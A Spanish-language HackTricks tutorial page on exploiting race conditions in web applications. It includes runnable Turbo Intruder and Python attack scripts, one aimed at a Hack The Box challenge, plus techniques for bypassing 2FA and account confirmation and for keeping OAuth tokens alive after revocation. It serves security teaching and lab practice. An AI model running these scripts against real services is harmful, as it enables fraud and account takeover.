# Condición de Carrera
\
Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias más avanzadas del mundo.\
¡Accede hoy mismo:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
Aprende hacking en AWS de cero a héroe conhtARTE (HackTricks AWS Red Team Expert)!
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
{% hint style="warning" %}
Para obtener una comprensión profunda de esta técnica, consulta el informe original en [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine)
{% endhint %}
## Mejorando los Ataques de Condición de Carrera
El principal desafío para aprovechar las condiciones de carrera es asegurarse de que múltiples solicitudes se manejen al mismo tiempo, con **muy poca diferencia en sus tiempos de procesamiento, idealmente, menos de 1ms**.
Aquí puedes encontrar algunas técnicas para Sincronizar Solicitudes:
#### Ataque de un Solo Paquete HTTP/2 vs. Sincronización del Último Byte de HTTP/1.1
* **HTTP/2**: Permite enviar dos solicitudes sobre una única conexión TCP, reduciendo el impacto del jitter de red. Sin embargo, debido a variaciones en el lado del servidor, dos solicitudes pueden no ser suficientes para un exploit de condición de carrera consistente.
* **HTTP/1.1 'Sincronización del Último Byte'**: Permite el preenvío de la mayoría de las partes de 20-30 solicitudes, reteniendo un pequeño fragmento, que luego se envía juntas, logrando una llegada simultánea al servidor.
La **Preparación para la Sincronización del Último Byte** implica:
1. Enviar encabezados y datos del cuerpo menos el byte final sin finalizar el flujo.
2. Pausar durante 100ms después del envío inicial.
3. Deshabilitar TCP\_NODELAY para utilizar el algoritmo de Nagle para agrupar los marcos finales.
4. Hacer ping para calentar la conexión.
El posterior envío de marcos retenidos debería resultar en su llegada en un solo paquete, verificable a través de Wireshark. Este método no se aplica a archivos estáticos, que normalmente no están involucrados en ataques de RC.
### Adaptándose a la Arquitectura del Servidor
Comprender la arquitectura del objetivo es crucial. Los servidores front-end pueden enrutar las solicitudes de manera diferente, afectando el tiempo. El calentamiento preventivo de la conexión del lado del servidor, a través de solicitudes inconsecuentes, podría normalizar el tiempo de solicitud.
#### Manejo de Bloqueos Basados en Sesiones
Los frameworks como el manejador de sesiones de PHP serializan las solicitudes por sesión, lo que potencialmente oculta vulnerabilidades. Utilizar tokens de sesión diferentes para cada solicitud puede evitar este problema.
#### Superar Límites de Tasa o Recursos
Si el calentamiento de la conexión no es efectivo, provocar intencionalmente retrasos en los límites de tasa o recursos de los servidores web a través de una inundación de solicitudes ficticias podría facilitar el ataque de un solo paquete al inducir un retraso del lado del servidor propicio para las condiciones de carrera.
## Ejemplos de Ataque
* **Tubo Intruder - Ataque de un solo paquete HTTP2 (1 punto final)**: Puedes enviar la solicitud a **Turbo Intruder** (`Extensiones` -> `Turbo Intruder` -> `Enviar a Turbo Intruder`), puedes cambiar en la solicitud el valor que deseas probar por fuerza bruta para **`%s`** como en `csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s` y luego seleccionar el **`ejemplos/race-single-packer-attack.py`** del menú desplegable:
Si vas a **enviar diferentes valores**, podrías modificar el código con este que utiliza una lista de palabras del portapapeles:
```python
passwords = wordlists.clipboard
for password in passwords:
engine.queue(target.req, password, gate='race1')
```
{% hint style="warning" %}
Si la web no es compatible con HTTP2 (solo HTTP1.1), utiliza `Engine.THREADED` o `Engine.BURP` en lugar de `Engine.BURP2`.
{% endhint %}
* **Intrusión de un solo paquete HTTP2 (Varios endpoints)**: En caso de que necesites enviar una solicitud a 1 endpoint y luego múltiples a otros endpoints para desencadenar la RCE, puedes modificar el script `race-single-packet-attack.py` con algo como:
```python
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1,
engine=Engine.BURP2
)
# Hardcode the second request for the RC
confirmationReq = '''POST /confirm?token[]= HTTP/2
Host: 0a9c00370490e77e837419c4005900d0.web-security-academy.net
Cookie: phpsessionid=MpDEOYRvaNT1OAm0OtAsmLZ91iDfISLU
Content-Length: 0
'''
# For each attempt (20 in total) send 50 confirmation requests.
for attempt in range(20):
currentAttempt = str(attempt)
username = 'aUser' + currentAttempt
# queue a single registration request
engine.queue(target.req, username, gate=currentAttempt)
# queue 50 confirmation requests - note that this will probably sent in two separate packets
for i in range(50):
engine.queue(confirmationReq, gate=currentAttempt)
# send all the queued requests for this attempt
engine.openGate(currentAttempt)
```
* También está disponible en **Repeater** a través de la nueva opción '**Enviar grupo en paralelo**' en Burp Suite.
* Para **limit-overrun** simplemente podrías agregar la **misma solicitud 50 veces** en el grupo.
* Para **calentar la conexión**, podrías **agregar** al **principio** del **grupo** algunas **solicitudes** a alguna parte no estática del servidor web.
* Para **retrasar** el proceso **entre** el procesamiento **de una solicitud y otra** en 2 pasos de subestado, podrías **agregar solicitudes adicionales entre** ambas solicitudes.
* Para un RC de **múltiples puntos finales**, podrías comenzar enviando la **solicitud** que **va al estado oculto** y luego **50 solicitudes** justo después que **explotan el estado oculto**.
* **Script automatizado en Python**: El objetivo de este script es cambiar el correo electrónico de un usuario mientras se verifica continuamente hasta que el token de verificación del nuevo correo electrónico llegue al último correo electrónico (esto se debe a que en el código se veía un RC donde era posible modificar un correo electrónico pero tener la verificación enviada al antiguo porque la variable que indicaba el correo electrónico ya estaba poblada con el primero).\
Cuando se encuentra la palabra "objetivo" en los correos electrónicos recibidos, sabemos que recibimos el token de verificación del correo electrónico cambiado y finalizamos el ataque.
```python
# https://portswigger.net/web-security/race-conditions/lab-race-conditions-limit-overrun
# Script from victor to solve a HTB challenge
from h2spacex import H2OnTlsConnection
from time import sleep
from h2spacex import h2_frames
import requests
cookie="session=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MiwiZXhwIjoxNzEwMzA0MDY1LCJhbnRpQ1NSRlRva2VuIjoiNDJhMDg4NzItNjEwYS00OTY1LTk1NTMtMjJkN2IzYWExODI3In0.I-N93zbVOGZXV_FQQ8hqDMUrGr05G-6IIZkyPwSiiDg"
# change these headers
headersObjetivo= """accept: */*
content-type: application/x-www-form-urlencoded
Cookie: """+cookie+"""
Content-Length: 112
"""
bodyObjetivo = 'email=objetivo%40apexsurvive.htb&username=estes&fullName=test&antiCSRFToken=42a08872-610a-4965-9553-22d7b3aa1827'
headersVerification= """Content-Length: 1
Cookie: """+cookie+"""
"""
CSRF="42a08872-610a-4965-9553-22d7b3aa1827"
host = "94.237.56.46"
puerto =39697
url = "https://"+host+":"+str(puerto)+"/email/"
response = requests.get(url, verify=False)
while "objetivo" not in response.text:
urlDeleteMails = "https://"+host+":"+str(puerto)+"/email/deleteall/"
responseDeleteMails = requests.get(urlDeleteMails, verify=False)
#print(response.text)
# change this host name to new generated one
Headers = { "Cookie" : cookie, "content-type": "application/x-www-form-urlencoded" }
data="email=test%40email.htb&username=estes&fullName=test&antiCSRFToken="+CSRF
urlReset="https://"+host+":"+str(puerto)+"/challenge/api/profile"
responseReset = requests.post(urlReset, data=data, headers=Headers, verify=False)
print(responseReset.status_code)
h2_conn = H2OnTlsConnection(
hostname=host,
port_number=puerto
)
h2_conn.setup_connection()
try_num = 100
stream_ids_list = h2_conn.generate_stream_ids(number_of_streams=try_num)
all_headers_frames = [] # all headers frame + data frames which have not the last byte
all_data_frames = [] # all data frames which contain the last byte
for i in range(0, try_num):
last_data_frame_with_last_byte=''
if i == try_num/2:
header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames( # noqa: E501
method='POST',
headers_string=headersObjetivo,
scheme='https',
stream_id=stream_ids_list[i],
authority=host,
body=bodyObjetivo,
path='/challenge/api/profile'
)
else:
header_frames_without_last_byte, last_data_frame_with_last_byte = h2_conn.create_single_packet_http2_post_request_frames(
method='GET',
headers_string=headersVerification,
scheme='https',
stream_id=stream_ids_list[i],
authority=host,
body=".",
path='/challenge/api/sendVerification'
)
all_headers_frames.append(header_frames_without_last_byte)
all_data_frames.append(last_data_frame_with_last_byte)
# concatenate all headers bytes
temp_headers_bytes = b''
for h in all_headers_frames:
temp_headers_bytes += bytes(h)
# concatenate all data frames which have last byte
temp_data_bytes = b''
for d in all_data_frames:
temp_data_bytes += bytes(d)
h2_conn.send_bytes(temp_headers_bytes)
# wait some time
sleep(0.1)
# send ping frame to warm up connection
h2_conn.send_ping_frame()
# send remaining data frames
h2_conn.send_bytes(temp_data_bytes)
resp = h2_conn.read_response_from_socket(_timeout=3)
frame_parser = h2_frames.FrameParser(h2_connection=h2_conn)
frame_parser.add_frames(resp)
frame_parser.show_response_of_sent_requests()
print('---')
sleep(3)
h2_conn.close_connection()
response = requests.get(url, verify=False)
```
### Fuerza Bruta en Bruto
Antes de la investigación anterior, estos eran algunos payloads utilizados que simplemente intentaban enviar los paquetes lo más rápido posible para causar una RC.
* **Repetidor:** Consulta los ejemplos de la sección anterior.
* **Intruso:** Envía la **solicitud** a **Intruso**, establece el **número de hilos** en **30** dentro del menú de **Opciones** y selecciona como payload **Cargas nulas** y genera **30.**
* **Turbo Intruso**
```python
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
pipeline=False
)
a = ['Session=','Session=','Session=']
for i in range(len(a)):
engine.queue(target.req,a[i], gate='race1')
# open TCP connections and send partial requests
engine.start(timeout=10)
engine.openGate('race1')
engine.complete(timeout=60)
def handleResponse(req, interesting):
table.add(req)
```
* **Python - asyncio**
```python
import asyncio
import httpx
async def use_code(client):
resp = await client.post(f'http://victim.com', cookies={"session": "asdasdasd"}, data={"code": "123123123"})
return resp.text
async def main():
async with httpx.AsyncClient() as client:
tasks = []
for _ in range(20): #20 times
tasks.append(asyncio.ensure_future(use_code(client)))
# Get responses
results = await asyncio.gather(*tasks, return_exceptions=True)
# Print results
for r in results:
print(r)
# Async2sync sleep
await asyncio.sleep(0.5)
print(results)
asyncio.run(main())
```
## Metodología de RC
### Desbordamiento de límite / TOCTOU
Este es el tipo más básico de condición de carrera donde **vulnerabilidades** que **aparecen** en lugares que **limitan la cantidad de veces que puedes realizar una acción**. Como usar el mismo código de descuento varias veces en una tienda web. Un ejemplo muy fácil se puede encontrar en [**este informe**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43) o en [**este bug**](https://hackerone.com/reports/759247)**.**
Existen muchas variaciones de este tipo de ataque, incluyendo:
- Canjear una tarjeta de regalo varias veces
- Calificar un producto varias veces
- Retirar o transferir efectivo en exceso de tu saldo de cuenta
- Reutilizar una solución CAPTCHA única
- Saltarse un límite de tasa anti-fuerza bruta
### **Subestados ocultos**
Explotar condiciones de carrera complejas a menudo implica aprovechar breves oportunidades para interactuar con subestados de máquina ocultos o **no intencionales**. Así es como se aborda esto:
1. **Identificar posibles subestados ocultos**
- Comienza por señalar los puntos finales que modifican o interactúan con datos críticos, como perfiles de usuario o procesos de restablecimiento de contraseña. Enfócate en:
- **Almacenamiento**: Prefiere los puntos finales que manipulan datos persistentes en el servidor sobre aquellos que manejan datos en el lado del cliente.
- **Acción**: Busca operaciones que alteren datos existentes, las cuales son más propensas a crear condiciones explotables en comparación con aquellas que agregan nuevos datos.
- **Clave**: Los ataques exitosos generalmente involucran operaciones clave en el mismo identificador, por ejemplo, nombre de usuario o token de restablecimiento.
2. **Realizar Sondeos Iniciales**
- Prueba los puntos finales identificados con ataques de condición de carrera, observando cualquier desviación de los resultados esperados. Respuestas inesperadas o cambios en el comportamiento de la aplicación pueden indicar una vulnerabilidad.
3. **Demostrar la Vulnerabilidad**
- Reduce el ataque al número mínimo de solicitudes necesarias para explotar la vulnerabilidad, a menudo solo dos. Este paso podría requerir múltiples intentos o automatización debido a la sincronización precisa involucrada.
### Ataques Sensibles al Tiempo
La precisión en el tiempo de las solicitudes puede revelar vulnerabilidades, especialmente cuando se utilizan métodos predecibles como marcas de tiempo para tokens de seguridad. Por ejemplo, generar tokens de restablecimiento de contraseña basados en marcas de tiempo podría permitir tokens idénticos para solicitudes simultáneas.
**Para Explotar:**
- Utiliza un tiempo preciso, como un ataque de paquete único, para realizar solicitudes de restablecimiento de contraseña concurrentes. Los tokens idénticos indican una vulnerabilidad.
**Ejemplo:**
- Solicita dos tokens de restablecimiento de contraseña al mismo tiempo y compáralos. Los tokens coincidentes sugieren un fallo en la generación de tokens.
**Consulta este** [**Laboratorio de PortSwigger**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-exploiting-time-sensitive-vulnerabilities) **para probar esto.**
## Estudios de casos de subestados ocultos
### Pagar y agregar un artículo
Consulta este [**Laboratorio de PortSwigger**](https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-insufficient-workflow-validation) para ver cómo **pagar** en una tienda y **agregar un artículo adicional** que **no necesitarás pagar**.
### Confirmar otros correos electrónicos
La idea es **verificar una dirección de correo electrónico y cambiarla a otra al mismo tiempo** para averiguar si la plataforma verifica la nueva dirección cambiada.
### Cambiar correo electrónico a 2 direcciones de correo electrónico basadas en cookies
Según [**esta investigación**](https://portswigger.net/research/smashing-the-state-machine) Gitlab era vulnerable a una toma de control de esta manera porque podría **enviar** el **token de verificación de correo electrónico de un correo electrónico al otro correo electrónico**.
**Consulta este** [**Laboratorio de PortSwigger**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-single-endpoint) **para probar esto.**
### Estados de base de datos ocultos / Bypass de confirmación
Si se utilizan **2 escrituras diferentes** para **agregar información** dentro de una **base de datos**, hay un pequeño período de tiempo donde **solo se ha escrito el primer dato** dentro de la base de datos. Por ejemplo, al crear un usuario, el **nombre de usuario** y la **contraseña** podrían ser **escritos** y luego el **token** para confirmar la cuenta recién creada se escribe. Esto significa que por un corto tiempo el **token para confirmar una cuenta es nulo**.
Por lo tanto, **registrando una cuenta y enviando varias solicitudes con un token vacío** (`token=` o `token[]=` u otra variación) para confirmar la cuenta de inmediato podría permitir **confirmar una cuenta** donde no controlas el correo electrónico.
**Consulta este** [**Laboratorio de PortSwigger**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-partial-construction) **para probar esto.**
### Bypass de 2FA
El siguiente pseudo-código es vulnerable a una condición de carrera porque en un tiempo muy corto el **2FA no se aplica** mientras se crea la sesión:
```python
session['userid'] = user.userid
if user.mfa_enabled:
session['enforce_mfa'] = True
# generate and send MFA code to user
# redirect browser to MFA code entry form
```
### Persistencia eterna de OAuth2
Hay varios [**proveedores de OAuth**](https://en.wikipedia.org/wiki/List\_of\_OAuth\_providers). Estos servicios te permitirán crear una aplicación y autenticar a los usuarios que el proveedor haya registrado. Para hacerlo, el **cliente** necesitará **permitir que tu aplicación** acceda a algunos de sus datos dentro del **proveedor de OAuth**.\
Entonces, hasta aquí solo un inicio de sesión común con google/linkedin/github... donde se te muestra una página que dice: "_La aplicación \ quiere acceder a tu información, ¿deseas permitirlo?_"
#### Condición de Carrera en `authorization_code`
El **problema** aparece cuando **aceptas** y automáticamente envía un **`authorization_code`** a la aplicación maliciosa. Luego, esta **aplicación abusa de una Condición de Carrera en el proveedor de servicios de OAuth para generar más de un AT/RT** (_Authentication Token/Refresh Token_) a partir del **`authorization_code`** para tu cuenta. Básicamente, abusará del hecho de que has aceptado que la aplicación acceda a tus datos para **crear varias cuentas**. Entonces, si **dejas de permitir que la aplicación acceda a tus datos, un par de AT/RT se eliminará, pero los otros seguirán siendo válidos**.
#### Condición de Carrera en `Refresh Token`
Una vez que has **obtenido un RT válido** podrías intentar **abusar de él para generar varios AT/RT** e **incluso si el usuario cancela los permisos** para que la aplicación maliciosa acceda a sus datos, **varios RT seguirán siendo válidos**.
## **CC en WebSockets**
En [**WS\_RaceCondition\_PoC**](https://github.com/redrays-io/WS\_RaceCondition\_PoC) puedes encontrar un PoC en Java para enviar mensajes de websocket en **paralelo** y abusar de **Condiciones de Carrera también en Web Sockets**.
## Referencias
* [https://hackerone.com/reports/759247](https://hackerone.com/reports/759247)
* [https://pandaonair.com/2020/06/11/race-conditions-exploring-the-possibilities.html](https://pandaonair.com/2020/06/11/race-conditions-exploring-the-possibilities.html)
* [https://hackerone.com/reports/55140](https://hackerone.com/reports/55140)
* [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine)
* [https://portswigger.net/web-security/race-conditions](https://portswigger.net/web-security/race-conditions)
Aprende a hackear AWS desde cero hasta experto conhtARTE (HackTricks AWS Red Team Expert)!
Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
\
Utiliza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) para construir y **automatizar flujos de trabajo** fácilmente con las herramientas comunitarias más avanzadas del mundo.\
¡Accede hoy mismo:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}